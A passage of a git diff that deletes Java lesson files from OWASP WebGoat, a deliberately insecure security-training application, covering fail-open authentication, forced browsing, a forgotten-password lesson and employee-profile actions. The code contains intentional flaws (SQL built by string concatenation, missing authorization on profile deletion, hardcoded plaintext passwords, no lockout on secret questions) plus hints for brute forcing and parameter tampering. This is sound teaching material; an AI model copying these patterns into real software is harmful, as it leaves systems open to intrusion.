authentication is good, show the content - if ((username != null) && (username.length() > 0)) { return (makeUser(s, username, - "Parameters. You did not exploit the fail open.")); } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - } - - return (makeLogin(s)); - } - - /** - * Gets the category attribute of the FailOpenAuthentication object - * - * @return The category value - */ - public Category getDefaultCategory() - { - return Category.ERROR_HANDLING; - } - - /** - * Gets the hints attribute of the AuthenticateScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("You can force errors during the authentication process."); - hints.add("You can change length, existance, or values of authentication parameters."); - hints - .add("Try removing a parameter ENTIRELY with OWASP ZAP."); - - return hints; - } - - /** - * Gets the instructions attribute of the FailOpenAuthentication object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - return "Due to an error handling problem in the authentication mechanism, it is possible to authenticate " - + "as the 'webgoat' user without entering a password. Try to login as the webgoat user without " - + "specifying a password."; - } - - private final static Integer DEFAULT_RANKING = new Integer(20); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the AuthenticateScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Fail Open Authentication Scheme"); - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/ForcedBrowsing.java b/src/main/java/org/owasp/webgoat/lessons/ForcedBrowsing.java deleted file mode 100644 index ee05d1aa5..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/ForcedBrowsing.java +++ /dev/null @@ -1,150 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.A; -import org.apache.ecs.html.BR; -import org.apache.ecs.html.H1; -import org.apache.ecs.html.IMG; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Sherif Koussa Software Secured - * @created November 02, 2006 - */ -public class ForcedBrowsing extends LessonAdapter -{ - - private final static String SUCCEEDED = "succeeded"; - - public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String success = new String(s.getParser().getStringParameter(SUCCEEDED, "")); - - if (success.length() != 0 && success.equals("yes")) - { - ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Configuration Page"))); - ec.addElement(new BR()); - Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center"); - - TR tr = new TR(); - tr.addElement(new TD(new StringElement("Set Admin Privileges for: "))); - - Input input1 = new Input(Input.TEXT, "", ""); - tr.addElement(new TD(input1)); - t1.addElement(tr); - - tr = new TR(); - tr.addElement(new TD(new StringElement("Set Admin Password:"))); - - input1 = new Input(Input.PASSWORD, "", ""); - tr.addElement(new TD(input1)); - t1.addElement(tr); - - Element b = ECSFactory.makeButton("Submit"); - t1.addElement(new TR(new TD(b).setColSpan(2).setAlign("right"))); - ec.addElement(t1); - - makeSuccess(s); - } - else - { - ec - .addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel."); - } - return ec; - } - - /** - * Gets the category attribute of the ForgotPassword object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.INSECURE_CONFIGURATION; - } - - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Try to guess the URL for the config page"); - hints.add("The config page is guessable and hackable"); - hints.add("Play with the URL and try to guess what you can replace 'attack' with."); - hints.add("Try to navigate to http://localhost/WebGoat/conf"); - return hints; - } - - private final static Integer DEFAULT_RANKING = new Integer(15); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Forced Browsing"); - } - - public Element getCredits() - { - return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/ForgotPassword.java b/src/main/java/org/owasp/webgoat/lessons/ForgotPassword.java deleted file mode 100644 index 358a501e6..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/ForgotPassword.java +++ /dev/null @@ -1,335 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.List; -import java.util.HashMap; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.A; -import org.apache.ecs.html.B; -import org.apache.ecs.html.BR; -import org.apache.ecs.html.H1; -import org.apache.ecs.html.IMG; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TH; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Eric Sheridan Aspect Security - * @created December 18, 2005 - */ -public class ForgotPassword extends LessonAdapter -{ - - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); - - private final static String USERNAME = "Username"; - - private static String USERNAME_RESPONSE = ""; - - private final static String COLOR = "Color"; - - private static String COLOR_RESPONSE = ""; - - private static int STAGE = 1; - - private final static HashMap USERS = new HashMap(); - - private final static HashMap COLORS = new HashMap(); - - private void populateTables() - { - USERS.put("admin", "2275$starBo0rn3"); - USERS.put("jeff", "(_I_)illia(V)s"); - USERS.put("dave", "\\V/ich3r$"); - USERS.put("intern", "H3yn0w"); - USERS.put("webgoat", "webgoat"); - - COLORS.put("admin", "green"); - COLORS.put("jeff", "orange"); - COLORS.put("dave", "purple"); - COLORS.put("intern", "yellow"); - COLORS.put("webgoat", "red"); - } - - protected Element doStage1(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - ec.addElement(new BR().addElement(new H1().addElement("Webgoat Password Recovery "))); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - TR tr = new TR(); - tr.addElement(new TH() - .addElement("Please input your username. See the OWASP admin if you do not have an account.") - .setColSpan(2).setAlign("left")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); - - TR row1 = new TR(); - row1.addElement(new TD(new B(new StringElement("*User Name: ")))); - - Input input1 = new Input(Input.TEXT, USERNAME, ""); - row1.addElement(new TD(input1)); - t.addElement(row1); - - Element b = ECSFactory.makeButton("Submit"); - t.addElement(new TR(new TD(b))); - ec.addElement(t); - - return (ec); - } - - protected Element doStage2(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - ec.addElement(new H1().addElement("Webgoat Password Recovery ")); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - TR tr = new TR(); - tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2) - .setAlign("left")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement("*Required Fields").setWidth("30%")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); - - TR row1 = new TR(); - row1.addElement(new TD(new B(new StringElement("*Answer: ")))); - - Input input1 = new Input(Input.TEXT, COLOR, ""); - row1.addElement(new TD(input1)); - t.addElement(row1); - - Element b = ECSFactory.makeButton("Submit"); - t.addElement(new TR(new TD(b))); - ec.addElement(t); - - return (ec); - } - - protected Element doStage3(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - ec.addElement(new H1().addElement("Webgoat Password Recovery ")); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - TR tr = new TR(); - tr.addElement(new TH().addElement("For security reasons, please change your password immediately.") - .setColSpan(2).setAlign("left")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:")))) - .setAlign("left")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(new StringElement("Username: " + USERNAME_RESPONSE))); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(new StringElement("Color: " + COLOR_RESPONSE))); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(new StringElement("Password: " + USERS.get(USERNAME_RESPONSE).toString()))); - t.addElement(tr); - - ec.addElement(t); - - if (USERNAME_RESPONSE.equals("admin") && COLOR_RESPONSE.equals("green")) - { - makeSuccess(s); - } - else if (!USERNAME_RESPONSE.equals("webgoat") && USERS.containsKey(USERNAME_RESPONSE)) - { - s.setMessage("Close. Now try to get the password of a privileged account."); - } - return ec; - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String username = ""; - String color = ""; - - color = s.getParser().getStringParameter(COLOR, ""); - - if (color.length() > 0) - STAGE = 2; - else - STAGE = 1; - - if (USERS.size() == 0) - { - populateTables(); - } - - if (STAGE == 2) - { - color = s.getParser().getStringParameter(COLOR, ""); - - if (COLORS.get(USERNAME_RESPONSE).equals(color)) - { - STAGE = 1; - COLOR_RESPONSE = color; - ec.addElement(doStage3(s)); - } - else - { - s.setMessage("Incorrect response for " + USERNAME_RESPONSE + ". Please try again!"); - ec.addElement(doStage2(s)); - } - } - else if (STAGE == 1) - { - username = s.getParser().getStringParameter(USERNAME, ""); - - if (USERS.containsKey(username)) - { - STAGE = 2; - USERNAME_RESPONSE = username; - ec.addElement(doStage2(s)); - } - else - { - if (username.length() > 0) - { - s.setMessage("Not a valid username. Please try again."); - } - ec.addElement(doStage1(s)); - } - } - else - { - ec.addElement(doStage1(s)); - STAGE = 1; - } - - return ec; - } - - /** - * Gets the category attribute of the ForgotPassword object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - - return Category.AUTHENTICATION; - } - - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - - hints.add("There is no lock out policy in place, brute force your way!"); - hints.add("Try using usernames you might encounter throughout WebGoat."); - hints.add("There are only so many possible colors, can you guess one?"); - hints.add("The administrative account is \"admin\""); - - return hints; - } - - private final static Integer DEFAULT_RANKING = new Integer(15); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Forgot Password"); - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java deleted file mode 100644 index d0df80232..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DefaultLessonAction.java +++ /dev/null @@ -1,330 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import java.sql.PreparedStatement; -import java.sql.ResultSet; -import java.sql.SQLException; -import java.sql.Statement; -import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl; -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.UnauthenticatedException; -import org.owasp.webgoat.session.UnauthorizedException; -import org.owasp.webgoat.session.ValidationException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public abstract class DefaultLessonAction implements LessonAction -{ - // FIXME: We could parse this class name to get defaults for these fields. - private String lessonName; - private String actionName; - - private GoatHillsFinancial lesson; - - public DefaultLessonAction(GoatHillsFinancial lesson, String lessonName, String actionName) - { - this.lesson = lesson; - this.lessonName = lessonName; - this.actionName = actionName; - } - - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - getLesson().setCurrentAction(s, getActionName()); - - if (isAuthenticated(s)) - { - } - else - throw new UnauthenticatedException(); - } - - public abstract String getNextPage(WebSession s); - - public GoatHillsFinancial getLesson() - { - return lesson; - } - - public String getLessonName() - { - return lessonName; - } - - public String getActionName() - { - return actionName; - } - - public void setSessionAttribute(WebSession s, String name, Object value) - { - s.getRequest().getSession().setAttribute(name, value); - } - - public void setRequestAttribute(WebSession s, String name, Object value) - { - s.getRequest().setAttribute(name, value); - } - - public void removeSessionAttribute(WebSession s, String name) - { - s.getRequest().getSession().removeAttribute(name); - } - - protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException - { - String value = (String) s.getRequest().getSession().getAttribute(name); - if (value == null) { throw new ParameterNotFoundException(); } - - return value; - } - - protected boolean getBooleanSessionAttribute(WebSession s, String name) throws ParameterNotFoundException - { - boolean value = false; - - Object attribute = s.getRequest().getSession().getAttribute(name); - if (attribute == null) - { - throw new ParameterNotFoundException(); - } - else - { - // System.out.println("Attribute " + name + " is of type " + - // s.getRequest().getSession().getAttribute(name).getClass().getName()); - // System.out.println("Attribute value: " + - // s.getRequest().getSession().getAttribute(name)); - value = ((Boolean) attribute).booleanValue(); - } - return value; - } - - protected int getIntSessionAttribute(WebSession s, String name) throws ParameterNotFoundException - { - int value = -1; - String ss = (String) s.getRequest().getSession().getAttribute(name); - if (ss == null) - { - throw new ParameterNotFoundException(); - } - else - { - try - { - value = Integer.parseInt(ss); - } catch (NumberFormatException nfe) - { - } - } - - return value; - } - - protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException - { - String value = (String) s.getRequest().getAttribute(name); - if (value == null) { throw new ParameterNotFoundException(); } - - return value; - } - - protected int getIntRequestAttribute(WebSession s, String name) throws ParameterNotFoundException - { - int value = -1; - String ss = (String) s.getRequest().getAttribute(name); - if (ss == null) - { - throw new ParameterNotFoundException(); - } - else - { - try - { - value = Integer.parseInt(ss); - } catch (NumberFormatException nfe) - { - } - } - - return value; - } - - public int getUserId(WebSession s) throws ParameterNotFoundException - { - return getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID); - } - - public String getUserName(WebSession s) throws ParameterNotFoundException - { - String name = null; - - int employeeId = getUserId(s); - try - { - String query = "SELECT first_name FROM employee WHERE userid = " + employeeId; - - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - if (answer_results.next()) name = answer_results.getString("first_name"); - } catch (SQLException sqle) - { - s.setMessage("Error getting user name"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting user name"); - e.printStackTrace(); - } - - return name; - } - - public boolean requiresAuthentication() - { - // Default to true - return true; - } - - public boolean isAuthenticated(WebSession s) - { - boolean authenticated = false; - - try - { - authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated"); - } catch (ParameterNotFoundException e) - { - } - - return authenticated; - } - - public boolean isAuthorized(WebSession s, int employeeId, String functionId) - { - String employer_id = (String) s.getRequest().getSession() - .getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID); - // System.out.println("Authorizing " + employeeId + " for use of function: " + functionId + - // " having USER_ID = " - // + employer_id ); - boolean authorized = false; - - try - { - String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = " - + employeeId + ") and functionid = '" + functionId + "'"; - - try - { - Statement answer_statement = WebSession.getConnection(s) - .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet answer_results = answer_statement.executeQuery(query); - authorized = answer_results.first(); - - /* - * User is validated for function, but can the user perform that function on the - * specified user? - */ - if (authorized) - { - authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId); - } - } catch (SQLException sqle) - { - s.setMessage("Error authorizing"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error authorizing"); - e.printStackTrace(); - } - - // System.out.println("Authorized? " + authorized); - return authorized; - } - - public boolean isAuthorizedForEmployee(WebSession s, int userId, int employeeId) - { - // System.out.println("Authorizing " + userId + " for access to employee: " + employeeId); - boolean authorized = false; - - try - { - String query = "SELECT * FROM ownership WHERE employer_id = ? AND employee_id = ?"; - - try - { - - PreparedStatement answer_statement = WebSession.getConnection(s) - .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - answer_statement.setInt(1, userId); - answer_statement.setInt(2, employeeId); - ResultSet answer_results = answer_statement.executeQuery(); - authorized = answer_results.first(); - } catch (SQLException sqle) - { - s.setMessage("Error authorizing"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error authorizing"); - e.printStackTrace(); - } - - return authorized; - } - - protected void setStage(WebSession s, String stage) - { - getLesson().setStage(s, stage); - } - - protected void setStageComplete(WebSession s, String stage) - { - getLesson().setStageComplete(s, stage); - } - - protected String getStage(WebSession s) - { - return getLesson().getStage(s); - } - - public String toString() - { - return getActionName(); - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java deleted file mode 100644 index f4c977670..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java +++ /dev/null @@ -1,111 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import java.sql.ResultSet; -import java.sql.SQLException; -import java.sql.Statement; -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.UnauthenticatedException; -import org.owasp.webgoat.session.UnauthorizedException; -import org.owasp.webgoat.session.ValidationException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public class DeleteProfile extends DefaultLessonAction -{ - - private LessonAction chainedAction; - - public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } - - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - getLesson().setCurrentAction(s, getActionName()); - - int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); - int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); - - if (isAuthenticated(s)) - { - deleteEmployeeProfile(s, userId, employeeId); - - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - else - throw new UnauthenticatedException(); - - } - - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.LISTSTAFF_ACTION; - } - - public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException - { - try - { - // Note: The password field is ONLY set by ChangePassword - String query = "DELETE FROM employee WHERE userid = " + employeeId; - // System.out.println("Query: " + query); - try - { - Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - statement.executeUpdate(query); - } catch (SQLException sqle) - { - s.setMessage("Error deleting employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error deleting employee profile"); - e.printStackTrace(); - } - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java deleted file mode 100644 index 69909bb06..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java +++ /dev/null @@ -1,115 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import java.sql.PreparedStatement; -import java.sql.ResultSet; -import java.sql.SQLException; -import org.owasp.webgoat.session.Employee; -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.UnauthenticatedException; -import org.owasp.webgoat.session.UnauthorizedException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public class EditProfile extends DefaultLessonAction -{ - - public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName) - { - super(lesson, lessonName, actionName); - } - - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException - { - getLesson().setCurrentAction(s, getActionName()); - - if (isAuthenticated(s)) - { - int userId = getUserId(s); - int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); - - Employee employee = getEmployeeProfile(s, userId, employeeId); - setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee); - } - else - throw new UnauthenticatedException(); - } - - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.EDITPROFILE_ACTION; - } - - public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException - { - Employee profile = null; - - // Query the database for the profile data of the given employee - try - { - String query = "SELECT * FROM employee WHERE userid = ?"; - - try - { - PreparedStatement answer_statement = WebSession.getConnection(s) - .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - answer_statement.setInt(1, subjectUserId); - ResultSet answer_results = answer_statement.executeQuery(); - if (answer_results.next()) - { - // Note: Do NOT get the password field. - profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), - answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results - .getString("title"), answer_results.getString("phone"), answer_results - .getString("address1"), answer_results.getString("address2"), answer_results - .getInt("manager"), answer_results.getString("start_date"), answer_results - .getInt("salary"), answer_results.getString("ccn"), answer_results - .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results - .getString("disciplined_notes"), answer_results.getString("personal_description")); - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + - * " " + profile.getLastName() + " (" + profile.getId() + ")"); - */} - } catch (SQLException sqle) - { - s.setMessage("Error getting employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employee profile"); - e.printStackTrace(); - } - - return profile; - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java deleted file mode 100644 index c38b14b44..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java +++ /dev/null @@ -1,161 +0,0 @@ - -package org.owasp.webgoat.lessons.GoatHillsFinancial; - -import java.sql.PreparedStatement; -import java.sql.ResultSet; -import java.sql.SQLException; -import org.owasp.webgoat.session.Employee; -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.UnauthenticatedException; -import org.owasp.webgoat.session.UnauthorizedException; -import org.owasp.webgoat.session.ValidationException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - */ -public class FindProfile extends DefaultLessonAction -{ - - private LessonAction chainedAction; - - public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } - - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); - - String pattern = s.getParser().getRawParameter(GoatHillsFinancial.SEARCHNAME); - - findEmployeeProfile(s, userId, pattern); - - // Execute the chained Action if the employee was found. - if (foundEmployee(s)) - { - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - } - else - throw new UnauthenticatedException(); - } - - public String getNextPage(WebSession s) - { - String page = GoatHillsFinancial.SEARCHSTAFF_ACTION; - - if (foundEmployee(s)) page = GoatHillsFinancial.VIEWPROFILE_ACTION; - - return page; - } - - private boolean foundEmployee(WebSession s) - { - boolean found = false; - try - { - getIntRequestAttribute(s, getLessonName() + "." + 